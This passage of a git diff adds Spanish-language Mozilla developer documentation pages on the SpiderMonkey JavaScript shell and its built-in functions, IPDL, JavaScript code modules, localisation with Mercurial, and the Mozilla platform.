+  </ul>
+ </li>
+ <li><code>-w</code>
+  <ul>
+   <li>Habilita mensajes de avisos.</li>
+  </ul>
+ </li>
+ <li><code>-W</code>
+  <ul>
+   <li>Inhabilita mensajes de avisos.</li>
+  </ul>
+ </li>
+ <li><code>-x</code>
+  <ul>
+   <li>Habilita el modo XML E4X.</li>
+  </ul>
+ </li>
+</ul>
+<h3 id="Ejecutando_el_shell" name="Ejecutando_el_shell">Ejecutando el shell</h3>
+<p>Si quieres ejecutar el shell en modo interactivo, simplemente hay que usar el comando:</p>
+<pre class="eval">js
+</pre>
+<p>Si lo que quieres es ejecutar el código JavaScript dle fichero &lt;tt&gt;foo.js&lt;/td&gt;, debes usar este comando: &lt;/tt&gt;</p>
+<pre class="eval">js -f foo.js
+</pre>
+<p>Para ejecutar &lt;tt&gt;foo.js y luego volver al shell interactivo, haz esto:</p>
+<pre class="eval">js -f foo.js -f -
+</pre>
+<h4 id="Usando_el_shell_en_modo_interactivo" name="Usando_el_shell_en_modo_interactivo">Usando el shell en modo interactivo</h4>
+<p>En el modo interactivo puedes introducir código JavaScript a mano para crear objetos y funciones, además de escribir sentencias. Esta es una buena forma de probar ideas y, de un modo más importante para los desarrolladores que trabajan en el motor de JavaScript, probar nuevas características del lenguaje.</p>
+<h3 id="Funciones_integradas" name="Funciones_integradas">Funciones integradas</h3>
+<p>Para hacer al shell de JavaScript más útil, existen un número de funciones integradas para que puedan ser usadas desde los programas JavaScript o en modo interactivo.</p>
+<h4 id="build.28.29" name="build.28.29"><code>build()</code></h4>
+<p>Devuelve la fecha y hora en la que fue compilado el shell de JavaScript.</p>
+<h4 id="clear.28.5Bobjeto.5D.29" name="clear.28.5Bobjeto.5D.29"><code>clear(
+ <i>
+  [objeto]</i>
+ )</code></h4>
+<p>Elimina las propiedades del <var>objeto</var> especificado. Llamando a <code>clear()</code> sin ningún parámetro se deja el entorno limpio como una patena.</p>
+<div class="note">
+ <b>Nota:</b> <code>clear()</code> sin parámetros se lo cepilla absolutamente todo. Esto incluye a estas funciones integradas.</div>
+<h4 id="clone.28funci.C3.B3n.2C_.5B.C3.A1mbito.5D.29" name="clone.28funci.C3.B3n.2C_.5B.C3.A1mbito.5D.29"><code>clone(
+ <i>
+  función, [ámbito]</i>
+ )</code></h4>
+<p>Clona el objeto <var>funcion</var> especificado. Si <var>ámbito</var> no es especificado, el padre del nuevo objeto será el mismo que el del objeto original. En otro caso, el nuevo objeto es ubicado en el ámbito del objeto especificado por <var>ámbito</var>.</p>
+<h4 id="dis.28.5Bfuncion.5D.29" name="dis.28.5Bfuncion.5D.29"><code>dis(
+ <i>
+  [funcion]</i>
+ )</code></h4>
+<p>Desensambla el programa o la función especificada en bytecodes de JavaScript.</p>
+<p>Por ejemplo, si introduces la siguiente función de JavaScript:</p>
+<pre>function test() {
+  var i = 3;
+  print(i+2);
+}
+</pre>
+<p>entonces al ejectuar el comando &lt;tt&gt;dis(test);&lt;/tt&gt; se obtiene esta salida:</p>
+<pre>main:
+00000:  uint16 3
+00003:  setvar 0
+00006:  pop
+00007:  name "print"
+00010:  pushobj
+00011:  getvar 0
+00014:  uint16 2
+00017:  add
+00018:  call 1
+00021:  pop
+00022:  stop
+
+Source notes:
+  0:     0 [   0] newline
+  1:     3 [   3] var
+  2:     7 [   4] newline
+  3:    18 [  11] xdelta
+  4:    18 [   0] pcbase   offset 11
+</pre>
+<h4 id="dissrc.28.5Bfunci.C3.B3n.5D.29" name="dissrc.28.5Bfunci.C3.B3n.5D.29"><code>dissrc(
+ <i>
+  [función]</i>
+ )</code></h4>
+<p>Desensambla el programa o la función especificada en bytecodes JavaScript, mostrando las líneas del código fuente. Esta función sólo funciona con programas cargados desde fichero, bien usando el modificador <code>-f</code> al lanzar el shell o usando la función <code>load()&lt;/coad&gt; </code></p>
+<p>Si el programa incluye una función, &lt;code&gt;doStuff() como esta:</p>
+<pre>function doStuff(input) {
+	print("Introduce un número: ");
+	var n1 = readline();
+	print("Introduce otro: ");
+	var n2 = readline();
+
+	print("Has introducido " + n1 + " and " + n2 + "\n");
+}
+</pre>
+<p>al llamar a la función <code>dissrc(doStuff)</code> se obtiene la siguiente salida:</p>
+<pre>;-------------------------  10:         print("Introduce un número: ");
+00000:  10  name "print"
+00003:  10  pushobj
+00004:  10  string "Introduce un número: "
+00007:  10  call 1
+00010:  10  pop
+;-------------------------  11:         var n1 = readline();
+00011:  11  name "readline"
+00014:  11  pushobj
+00015:  11  call 0
+00018:  11  setvar 0
+00021:  11  pop
+;-------------------------  12:         print("Introduce otro: ");
+00022:  12  name "print"
+00025:  12  pushobj
+00026:  12  string "Introduce otro: "
+00029:  12  call 1
+00032:  12  pop
+;-------------------------  13:         var n2 = readline();
+00033:  13  name "readline"
+00036:  13  pushobj
+00037:  13  call 0
+00040:  13  setvar 1
+00043:  13  pop
+;-------------------------  14:
+;-------------------------  15:         print("Has introducido " + n1 + " and " + n2 + "\n");
+00044:  15  name "print"
+00047:  15  pushobj
+00048:  15  string "Has introducido "
+00051:  15  getvar 0
+00054:  15  add
+00055:  15  string " and "
+00058:  15  add
+00059:  15  getvar 1
+00062:  15  add
+00063:  15  string "\\n"
+00066:  15  add
+00067:  15  call 1
+00070:  15  po</pre>
diff --git a/files/es/ipdl/index.html b/files/es/ipdl/index.html
new file mode 100644
index 0000000000..cfada43bdb
--- /dev/null
+++ b/files/es/ipdl/index.html
@@ -0,0 +1,18 @@
+---
+title: IPC Protocol Definition Language (IPDL)
+slug: IPDL
+translation_of: Mozilla/IPDL
+---
+<p>IPDL, abreviado de "IPC (Inter-process communication) Protocol Definition Language" o Lenguaje de Definición de Protocolo para la Comunicación Entre Procesos, es un lenguaje específico de Mozilla que permite código C++ pasar mensajes entre procesos o hilos de manera organizada y segura. Todos los mensajes de plugins multi-procesos y pestañas dentro de Firefox se declaran en lenguaje IPDL.</p>
+
+<ul>
+ <li><a href="/en-US/docs/IPDL/Tutorial" title="en-US/docs/IPDL/Getting Started">Tutorial IPDL</a></li>
+ <li><a href="/en-US/docs/IPDL/Creating_a_New_Protocol" title="en-US/docs/IPDL/Creating a New Protocol">Inicio Rápido: Creando un Nuevo Protocolo</a></li>
+ <li><a href="/en-US/docs/IPDL/Type_Serialization" title="en-US/docs/IPDL/Type Serialization">Tipos Personalizados de Serialización </a></li>
+ <li><a href="/en-US/docs/IPDL/Best_Practices" title="en-US/docs/IPDL/Best Practices">Mejores Prácticas</a></li>
+ <li><a href="/en-US/docs/IPDL/Glossary" title="en-US/docs/IPDL/Glossary">Glosario IPDL</a></li>
+ <li><a href="/en-US/docs/IPDL/Error_Handling" title="en-US/docs/IPDL/Error Handling">Lenguaje de Referencia IPDL</a></li>
+ <li><a href="/en-US/docs/IPDL/Error_Handling" title="en-US/docs/IPDL/Error Handling">Error y manejo de cierres en protocolos IPDL</a></li>
+ <li><a href="/en-US/docs/IPDL/Processes_and_Threads" title="en-US/docs/IPDL/Processes and Threads">Como Usar Procesos IPDL, Hilos y Sockets</a></li>
+ <li><a href="/en-US/docs/IPDL/Shared_Memory" title="en-US/docs/IPDL/Shared Memory">Memoria Compartida IPDL</a></li>
+</ul>
diff --git a/files/es/javascript_code_modules/using/index.html b/files/es/javascript_code_modules/using/index.html
new file mode 100644
index 0000000000..42c7b01bd9
--- /dev/null
+++ b/files/es/javascript_code_modules/using/index.html
@@ -0,0 +1,138 @@
+---
+title: Usando módulos de código JavaScript
+slug: JavaScript_code_modules/Using
+tags:
+  - páginas_a_traducir
+translation_of: Mozilla/JavaScript_code_modules/Using
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Los módulos de código JavaScript son un concepto introducido en Firefox 3 (Gecko 1.9) y pueden ser usados para compartir código entre alcances (scopes) con diferentes privilegios. Los módulos pueden también ser usados para crear instancias únicas (singletons) globales de JavaScript que previamente requerian usar objetos XPCOM de JavaScript. Un módulo de código JavaScript es simplemente una porción de código JavaScript situado en una ubicación registrada. El módulo es cargado dentro de un alcance (scope) de JavaScript específico, tal como un script de XUL o un script XPCOM de JavaScript, usando <a href="/es/Components.utils.import" title="es/Components.utils.import">Components.utils.import</a>.</p>
+
+<h2 id="Creación_de_módulos_JavaScript">Creación de módulos JavaScript</h2>
+
+<p>Los módulos JavaScript tienen dos secciones: 1. un array <code>EXPORTED_SYMBOLS</code> en el que se declaran como "símbolos" los objetos, propiedades y métodos que serán empleados por los scripts que los importen. Y, 2. El código, que trata las propiedades y métodos de los "símbolos" exportados. Un muy sencillo módulo de JavaScript luce como esto:</p>
+
+<pre>var EXPORTED_SYMBOLS = ["foo", "bar"]
+
+function foo() {
+  return "foo";
+}
+
+var bar = {
+  name : "bar",
+  size : "3"
+};
+
+var dummy = "dummy";
+</pre>
+
+<p>Nótese que el módulo usa JavaScript normal para crear funciones, objetos, constantes y cualquier otro tipo JavaScript. Sólo los elementos declarados en el Array especial <code>EXPORTED_SYMBOLS</code> serán accesibles desde el exterior del módulo; los demás quedan encapsulados y no son accesibles fuera del mismo. Cualquier elemento de JavaScript nombrado en <code>EXPORTED_SYMBOLS</code> será exportado desde el módulo e insertado dentro del alcance (scope) importador. Por ejemplo:</p>
+
+<pre>Components.utils.import("resource://app/modules/my_module.jsm");
+
+alert(foo());         // muestra "foo"
+alert(bar.size + 3);  // muestra "6"
+alert(dummy);         // muestra "dummy is not defined" porque 'dummy' no fue exportado desde el módulo.
+</pre>
+
+<h3 id="La_URL_de_un_módulo_JavaScript">La URL de un módulo JavaScript</h3>
+
+<p>Como se puede apreciar en el ejemplo, arriba, hace falta un llamado empleando una dirección URL para poder importar los módulos JavaScript. Éstos, normalmente, se crean como archivos planos con extensión <strong>jsm</strong> y se almacenan el el directorio <code>/modules</code> del aplicativo (XUL) o extensión para el que son creados. Y, se cargan usando un protocolo <strong>"resource:"</strong> (en el ejemplo) al presentar la URL como parámetro del llamado.</p>
+
+<p>Sólo se pueden emplear los protocolos <strong>"chrome:"</strong> ( <span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 0px 2px; white-space: nowrap;" title="(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)">Requiere Gecko 2</span>) <strong>"resource:"</strong> o <strong>"file:"</strong>para cargar módulos JavaScript.</p>
+
+<ul>
+ <li>Si está escribiendo una extensión para Firefox 4.x y cuenta con un archivo de manifiesto "<a href="/es/Components.utils.import" title="es/Components.utils.import">chrome.manifest</a>" en el que se ha declarado la ubicación del directorio "content" (mediante una instrucción <code>content</code>, ver tutorial XUL) puede alojar allí sus módulos JavaScript y cargarlos mediante el protocolo "chrome:", así: <code>chrome://&lt;yourextension&gt;/content/&lt;yourmodule&gt;.jsm</code> .</li>
+ <li>Si su extensión o aplicación debe soportar Mozilla 1.9.x (Firefox 3.x) será necesario registrar su ubicación en el manifiesto chrome de la misma (<a href="/es/Components.utils.import" title="es/Components.utils.import">chrome.manifest</a>) más adelante se explica como hacerlo.</li>
+</ul>
+
+<h3 id="Compartiendo_objetos_mediante_módulos">Compartiendo objetos mediante módulos</h3>
+
+<p>Un comportamiento extremadamente importante de <a href="/es/Components.utils.import" title="es/Components.utils.import">Components.utils.import</a> es que los módulos son cacheados cuando se cargan e importaciones posteriores no recargan una nueva versión del módulo, sino que usan la version cacheada anteriormente. Esto significa que un módulo dado será compartido cuando sea importado varias veces. Cualquier modificacion a datos, objetos o funciones estarán disponibles en cualquier alcance (scope) que haya importado el módulo. Por ejemplo, si el modulo de ejemplo fue importado en dos alcances (scopes) diferentes de JavaScript, los cambios en un alcance (Scope) serán visibles desde el otro alcance (scope).</p>
+
+<p>Alcance (scope) 1:</p>
+
+<pre>Components.utils.import("resource://app/modules/my_module.jsm");
+
+alert(bar.size + 3);  // muestra "6"
+
+bar.size = 10;
+</pre>
+
+<p>Alcance (scope) 2:</p>
+
+<pre>Components.utils.import("resource://app/modules/my_module.jsm");
+
+alert(foo());         // muestra "foo"
+alert(bar.size + 3);  // muestra "13"
+</pre>
+
+<p>Este comportamiento de compartir puede ser usado para crear objetos singleton que compartan datos entre ventanas y entre scripts XUL y componentes XPCOM.</p>
+
+<div class="note"><strong>Nota: </strong>Cada ámbito (alcance) al que sea importado un módulo recibe una copia por-valor de los símbolos exportados por el módulo. De modo que los cambios que allí se realicen para los mismos no se verán reflejados en otros lugares. (Ésto garantiza que los "nombres" de los símbolos exportados no cambien para otros sitios y se pueda hacer referencia los mismos de modo uniforme)</div>
+
+<p>Alcance 1</p>
+
+<pre><code class="plain"> Components.utils.import(</code><code class="string">"<a>resource://app/my_module.jsm</a>"</code><code class="plain">);</code>
+
+<code class="plain">bar = </code><code class="string">"foo"</code><code class="plain">;</code>
+<code class="plain">alert(bar);         </code><code class="comments">// muestra "foo"</code>
+</pre>
+
+<p>Alcance 2</p>
+
+<pre><code class="plain">Components.utils.import(</code><code class="string">"<a>resource://app/my_module.jsm</a>"</code><code class="plain">);</code>
+
+<code class="plain">alert(bar);         </code><code class="comments">// muestra "[object Object]"</code></pre>
+
+<h4 id="resource:_Protocol" name="resource:_Protocol">resource: Protocol</h4>
+
+<p>Cuando uses <a href="/es/Components.utils.import" title="es/Components.utils.import">Components.utils.import</a>, notarás que los módulos de código son cargados usando el protocolo "resource://". La sintaxis básica de un recurso URL es como sigue:</p>
+
+<pre class="eval">resource://&lt;alias&gt;/&lt;ruta-relativa&gt;/&lt;archivo.js|jsm&gt;
+</pre>
+
+<p>El <code>&lt;alias&gt;</code> es un alias a una ubicación, usualmente una hubicación física relativa a la aplicación o al runtime de XUL. Existen algunos alias predefinidos por defecto por el runtime de XUL runtime:</p>
+
+<ul>
+ <li><code>app</code> - Alias a la ubicación de la aplicación de XUL.</li>
+ <li><code>gre</code> - Alias a la ubicación del runtime de XUL.</li>
+</ul>
+
+<p>La <code>&lt;ruta-relativa&gt;</code> puede tener múltiples niveles de profundidad y siempre es relativa a la ubicación definida por el <code>&lt;alias&gt;</code>. La ruta relativa común es "modules" y es usada por XUL Runner and Firefox. Los módulos de código son simples archivos JavaScript con la extensión .js o .jsm.</p>
+
+<p>La manera mas sencilla para extensiones y aplicaciones XUL de agregar alias propios es al registrar un alias en el <a href="/es/Chrome_Registration" title="es/Chrome_Registration">manifiesto chrome</a> usando algo como esto:</p>
+
+<pre class="eval">resource <em>nombrealias</em> <em>uri/a/los/archivos/</em>
+</pre>
+
+<p>Por ejemplo, si el XPI de tu extension <em>foo</em> incluye un directorio de primer nivel de módulos conteniendo el módulo <em>bar.js</em>, podrías crear un alias a ese directorio mediante la instrucción:</p>
+
+<pre class="eval">resource foo modules/
+</pre>
+
+<p>Podrias entonces importar el módulo en tu código JavaScript mediante la sentencia:</p>
+
+<pre class="eval">Components.utils.import("<a class="external" rel="freelink">resource://foo/bar.js</a>");
+</pre>
+
+<p>Los alias propios pueden también ser agregados programáticamente al protocolo de recursos. Por ejemplo:</p>
+
+<pre>var ioService = Components.classes["@mozilla.org/network/io-service;1"]
+                          .getService(Components.interfaces.nsIIOService);
+var resProt = ioService.getProtocolHandler("resource")
+                       .QueryInterface(Components.interfaces.nsIResProtocolHandler);
+
+var aliasFile = Components.classes["@mozilla.org/file/local;1"]
+                          .createInstance(Components.interfaces.nsILocalFile);
+aliasFile.initWithPath("/some/absolute/path");
+
+var aliasURI = ioService.newFileURI(aliasFile);
+resProt.setSubstitution("myalias", aliasURI);
+
+// asumiendo que el módulo de código está en el directorio de alias misma, no en un subdirectorio
+Components.utils.import("resource://myalias/file.jsm");
+
+// ...
+</pre>
diff --git a/files/es/l10n_en_mercurial/index.html b/files/es/l10n_en_mercurial/index.html
new file mode 100644
index 0000000000..2f16f31966
--- /dev/null
+++ b/files/es/l10n_en_mercurial/index.html
@@ -0,0 +1,133 @@
+---
+title: L10n en Mercurial
+slug: L10n_en_Mercurial
+tags:
+  - Localización
+  - para_revisar
+translation_of: Mozilla/Localization/Localizing_with_Mercurial
+---
+<p>{{ Fx_minversion_header(3.1) }} Traducir Firefox 3.1, SeaMonkey 2.0 y Thunderbird 3.0 supone trabajar con Mercurial. La documentación es incompleta; si tienes preguntas, por favor, déjate caer por #l10n o #hg en irc.mozilla.org, o pregunta en la página Discusión de este artículo.</p>
+<p>Hay varios documentos sobre cómo tratar con Mercurial en MDC, <a class="internal" href="/Special:Tags" title="../../Special:Tags?tag=Mercurial&amp;language=es">etiquetados con "Mercurial"</a>. En particular, la <a class="internal" href="/es/FAQ_de_Mercurial" title="Es/FAQ de Mercurial">FAQ de Mercurial</a> merece la pena. Para los más impacientes y rápidos, aquí hay algunas órdenes para que descarguéis en-US, un repositorio de idioma y un <code>.mozconfig</code>  que debería permitiros crear paquetes de idioma y binarios.</p>
+<h3 id="Herramientas">Herramientas</h3>
+<p>Existen varias herramientas para conectarse a Mercurial, comenzando, por supuesto, con el cliente de línea de comandos. Sin embargo, para aquellos de vosotros que preferís herramientas GUI, están <a class="external" href="http://tortoisehg.sourceforge.net/" title="http://tortoisehg.sourceforge.net/">TortoiseHg</a> para Windows y <a class="external" href="http://trac-hg.assembla.com/mercurialeclipse" title="http://trac-hg.assembla.com/mercurialeclipse">Mercurial Eclipse</a> para los fans de este entorno de plataforma.</p>
+<h3 id="Repositorios">Repositorios</h3>
+<p>Hay dos repositorios que contienen archivos en-US:</p>
+<ul> <li><a class="external" href="http://hg.mozilla.org/releases/mozilla-1.9.2/">releases/mozilla-1.9.2</a> contiene los archivos para Firefox 3.6 y <a class="external" href="http://hg.mozilla.org/mozilla-central/" title="En/Mozilla-central">mozilla-central</a> los archivos para Firefox.next (actualmente Firefox 4.0).</li> <li><a class="internal" href="/en/comm-central" title="En/Comm-central">comm-central</a> contiene los archivos para SeaMonkey y Thunderbird que no son parte de Firefox.</li>
+</ul>
+<p>{{ Note("Cuando descargas el repositorio comm-central, éste incluye también el repositorio mozilla-1.9.2. Por tanto puedes usar una sola configuración para desarrollar o traducir Firefox, SeaMonkey y Thunderbird sin tener que descargar mozilla-1.9.2 una segunda vez.") }}</p>
+<h3 id="Descargar_en-US" name="Descargar_en-US">Descargar en-US por primera vez</h3>
+<p>Para descargar los archivos en-US,  tendrás que descargar mozilla-1.9.2 (o -central) o comm-central.</p>
+<h4 id="Sólo_Firefox">Sólo Firefox</h4>
+<p>Si sólo trabajas con Firefox usa:</p>
+<pre class="eval">hg clone <a class=" external" href="http://hg.mozilla.org/mozilla-central/" rel="freelink">http://hg.mozilla.org/mozilla-central/</a>
+</pre>
+<p>Esto creará un clon del repositorio mozilla-1.9.2 en el directorio mozilla-1.9.2.</p>
+<h4 id="Cualquier_combinación_entre_Firefox_SeaMonkey_y_Thunderbird">Cualquier combinación entre Firefox, SeaMonkey y Thunderbird</h4>
+<p>Si estás trabajando con cualquier combinación de Firefox, SeaMonkey y Thunderbird, usa:</p>
+<pre>hg clone http://hg.mozilla.org/comm-central/
+cd comm-central
+python client.py checkout
+</pre>
+<p>La primera orden creará un clon del repositorio comm-central en el directorio comm-central. La segunda orden cambiará tu directorio actual a ese directorio, comm-central.</p>
+<p>La tercera orden creará un clon del repositorio mozilla-1.9.2 y recuperará varios directorios CVS. Los directorios CVS son necesarios para SeaMonkey y Thunderbird, algunos de ellos son código antiguo que SeaMonkey y Thunderbird están en proceso de dejar de usar, y algunas extensiones que todavía no están en Mercurial.</p>
+<h3 id="Actualizar_en-US">Actualizar en-US</h3>
+<p>Para actualizar tu copia de trabajo de mozilla-1.9.2, ve a tu directorio mozilla-1.9.2 y ejecuta</p>
+<pre class="eval">hg pull -u
+</pre>
+<p>Esto recuperará los nuevos conjuntos de cambios de mozilla-1.9.2 y aplicará esos cambios en tu copia de trabajo.</p>
+<p>Para actualizar tu copia de trabajo de comm-central, ve a tu directorio comm-central y ejecuta</p>
+<pre>python client.py checkout
+</pre>
+<p>Esto recuperará los últimos cambios de comm-central, mozilla-1.9.2 y el resto de orígenes, y aplicará dichos cambios en tu copia de trabajo.</p>
+<h3 id="Descargar_tu_idioma" name="Descargar_tu_idioma">Descargar tu idioma</h3>
+<p>Todos los idiomas están en un MXR, <a class="external" href="http://mxr.mozilla.org/l10n-central/"></a>. Los repositorios están, no obstante, separados: puedes conseguir una lista de los repositorios en <a class="external" href="http://hg.mozilla.org/l10n-central/"></a>. Para clonar tu localización, por favor usa (en este caso "ab-CD" es el código de idioma, sustitúyelo al correspondiente)</p>
+<pre class="eval">hg clone <a class="moz-txt-link-freetext external" href="http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/ab-CD/" rel="external nofollow" title="http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/ab-CD/">http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/</a><a class="moz-txt-link-freetext external" href="http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/ab-CD/">ab-CD/</a></pre>
+<p>o actualiza con</p>
+<pre>hg pull -u
+</pre>
+<h3 id="A_.mozconfig" name="A_.mozconfig">Subir tus cambios a Mozilla</h3>
+<p>Con Mercurial trabajas en tu propio repositorio. Antes de hacer commit de tus propios cambios debes asegurarte de que no ha habido cambios más recientes al repositorio remoto; para ello, actualiza tu idioma como se indica en la sección anterior.</p>
+<p>Tras terminar un cambio o conjunto de cambios y asegurarte de que tienes tu repositorio local actualizado, debes aplicar éstos (commit):</p>
+<pre class="eval">hg commit -m "message identifying the change (bug 555)"
+</pre>
+<p>El mensaje <strong>debe</strong> estar en inglés, por eso hemos dejado el ejemplo igual al documento original.</p>
+<p>A diferencia de CVS esta orden no aplicará tus cambios al repositorio de Mozilla. Primero necesitas subir los cambios (push). Para subir a <a class="external" href="http://hg.mozilla.org/l10n-central/" rel="internal" title="http://hg.mozilla.org/l10n-central/">l10n-central</a> y otros repositorios alojados en Mozilla debes tener acceso de escritura (committer) y debes editar el archivo <code><em>(tu-raíz-hg-local)</em>/.hg/hgrc</code> (observa que éste <strong>NO</strong> es tu <code>~/.hgrc</code>) para añadir esta línea (reemplazando email@host con tu nombre de usuario en Mozilla):</p>
+<pre class="eval">[paths]
+default = <a class="moz-txt-link-freetext external" href="http://hg.mozilla.org/releases/l10n-mozilla-1.9.1/af/">http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/ab-CD/</a>
+default-push = <a class=" external" href="ssh://hg.mozilla.org/releases/l10n-mozilla-1.9.2/ab-CD/" rel="freelink">ssh://hg.mozilla.org/releases/l10n-m...a-1.9.2/ab-CD/</a>
+central = <a class=" external" href="ssh://hg.mozilla.org/l10n-central/ab-CD/" rel="freelink">ssh://hg.mozilla.org/l10n-central/ab-CD/</a>
+
+</pre>
+<p>Tendrás que decirle a ssh qué cuenta usar para subir tus cambios, editando <code>~/.ssh/config</code> y añadiendo las líneas</p>
+<pre>Host hg.mozilla.org
+User user@host.domain
+</pre>
+<p><code>user@domain</code> es tu cuenta, con un @ real en lugar del % que usabas con CVS. Tras ello, podrás subir tu trabajo al repositorio (y comprobar el resultado en el panel de control):</p>
+<pre class="eval">hg push</pre>
+<h3 id="Un_.mozconfig" name="Un_.mozconfig">Un .mozconfig</h3>
+<h4 id="Firefox_a_través_de_mozilla-central">Firefox a través de mozilla-central</h4>
+<p>Si has seguido los pasos anteriores para descargar sólo mozilla-1.9.2, tu estructura de directorios tendrá este aspecto:</p>
+<pre class="eval">mozilla-1.9.2
++ browser
+de
++ browser
+</pre>
+<p>y un .mozconfig sería así:</p>
+<pre class="eval">mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/../fx-de
+ac_add_options --with-l10n-base=..
+ac_add_options --disable-compile-environment
+ac_add_options --enable-application=browser
+</pre>
+<p>Pondrías ese archivo en el directorio mozilla-1.9.2.</p>
+<div class="note"><strong>Nota</strong>: el --with-l10n-base es relativo al directorio obj, no al src.</div>
+<p>Si deseas compilar directamente una versión localizada, añade la línea</p>
+<pre>ac_add_options --enable-ui-locale=&lt;language code&gt;
+</pre>
+<p>Otra opción es no compilar con esto, y crear y usar un paquete de idioma como se explica a continuación.</p>
+<h4 id="Firefox_a_través_de_comm-central">Firefox a través de comm-central</h4>
+<p>Si has seguido los pasos anteriores para descargar comm-central, tu estructura de directorios tendrá este aspecto:</p>
+<pre>comm-central
++ mozilla
+  + browser
+de
+  + browser
+</pre>
+<p>y un .mozconfig tendría esta apariencia:</p>
+<pre>mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/../../fx-de
+ac_add_options --with-l10n-base=..
+ac_add_options --disable-compile-environment
+ac_add_options --enable-application=browser</pre>
+<p>{{ Note("La orden <code>make -f client.mk configure</code> debe ejecutarse desde el directorio comm-central/mozilla.") }}</p>
+<p>La línea <code>--with-l10n-base</code> es correcta con únicamente "<code>..</code>". Esto se debe a la manera en que funciona el entorno dentro de comm-central.</p>
+<p>El archivo debería colocarse en comm-central/mozilla.</p>
+<p>La misma observación se aplica a la compilación de una versión localizada.</p>
+<h4 id="Thunderbird_y_SeaMonkey">Thunderbird y SeaMonkey</h4>
+<p>Si has seguido los pasos anteriores para descargar comm-central, tu estructura de directorios tendrá este aspecto:</p>
+<pre>comm-central
++ mail
++ suite
+de
++ mail
++ suite
+</pre>
+<p>y un .mozconfig para Thunderbird se parecería a éste:</p>
+<pre>mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/../tb-de
+ac_add_options --with-l10n-base=..
+ac_add_options --disable-compile-environment
+ac_add_options --enable-application=mail
+</pre>
+<p>Sustituye <code>tb-de</code> con <code>sm-de</code> y <code>mail</code> con <code>suite</code> para tener un .mozconfig para SeaMonkey.</p>
+<p>El archivo debería colocarse en comm-central.</p>
+<p>La misma observación se aplica a la compilación de una versión localizada.</p>
+<p>Ejecuta la orden <code>make -f client.mk configure</code> desde el directorio comm-central.</p>
+<h3 id="Compare-locales" name="Compare-locales">Compare-locales</h3>
+<p><a href="/en/Compare-locales" title="en/Compare-locales">Compare-locales</a> funciona igual que lo hacía anteriormente, para Firefox:</p>
+<pre class="eval">compare-locales mozilla-central/browser/locales/l10n.ini . de
+</pre>
+<p>o para Thunderbird:</p>
+<pre>compare-locales comm-central/mail/locales/l10n.ini . de
+</pre>
+<p>Sustituye mail con suite si quieres comprobar SeaMonkey.</p>
+<p>{{ Note("Esta orden puede no funcionar correctamente para Thunderbird y SeaMonkey, está en proceso de solucionarse.") }}</p><h3 id="Construir_paquetes_de_idiomas.2C_etc." name="Construir_paquetes_de_idiomas.2C_etc.">Construir paquetes de idiomas, etc.</h3>
+<p>Hay un pequeño cambio aquí, tienes que añadir <code>--with-l10n-base</code> como argumento de configure, apuntando al directorio base de tu repositorio l10n. Sigue <a href="/en/Creating_a_Language_Pack" title="en/Creating_a_Language_Pack">Creating a Language Pack</a>, ajustando las rutas según sea necesario.</p>
+<p>{{ languages( { "fr": "fr/Localisation_avec_Mercurial", "en": "en/L10n_on_Mercurial" } ) }}</p>
diff --git a/files/es/la_plataforma_mozilla/index.html b/files/es/la_plataforma_mozilla/index.html
new file mode 100644
index 0000000000..ef9aca5013
--- /dev/null
+++ b/files/es/la_plataforma_mozilla/index.html
@@ -0,0 +1,13 @@
+---
+title: La plataforma Mozilla
+slug: La_plataforma_Mozilla
+tags:
+  - para_revisar
+translation_of: Mozilla/The_Mozilla_platform
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El proyecto Mozilla incluye varias tecnologías que, en conjunto, constituyen la plataforma Mozilla.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Estos enlaces te dirigirán a la documentación sobre cada una de ellas y sobre el uso de la plataforma Mozilla para construir tus propios proyectos.</span></span></p>
+<table class="mainpage-table"> <tbody> <tr> <td> <h2 id="Temas_de_la_documentación"><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Temas de la documentación</span></span></h2> <dl> <dt><a class="internal" href="/en/Participating_in_the_Mozilla_project" rel="internal" title="en/Participating in the Mozilla project"><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Participación en el proyecto Mozilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Artículos sobre el proyecto Mozilla, incluyendo cómo contribuir al proyecto Mozilla.</span></span></dd> <dt><a class="internal" href="/../../../../En/Mozilla_developer_guide" rel="internal" title="https://developer.mozilla.org/En/Mozilla_developer_guide"><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">La Guía para desarrolladores de Mozilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Herramientas, consejos y documentación para trabajar con el código fuente de Mozilla.</span></span></dd> <dt><a class="internal" href="/../../../../En/Using_Mozilla_code_in_other_projects" rel="internal" title="../../../../En/Using Mozilla code in other projects"><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El uso de código de Mozilla en otros proyectos</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Cómo utilizar las tecnologías de Mozilla en tus propios proyectos.</span></span></dd> <dt><a class="internal" href="/es/JavaScript" title="es/JavaScript"><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">JavaScript</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable 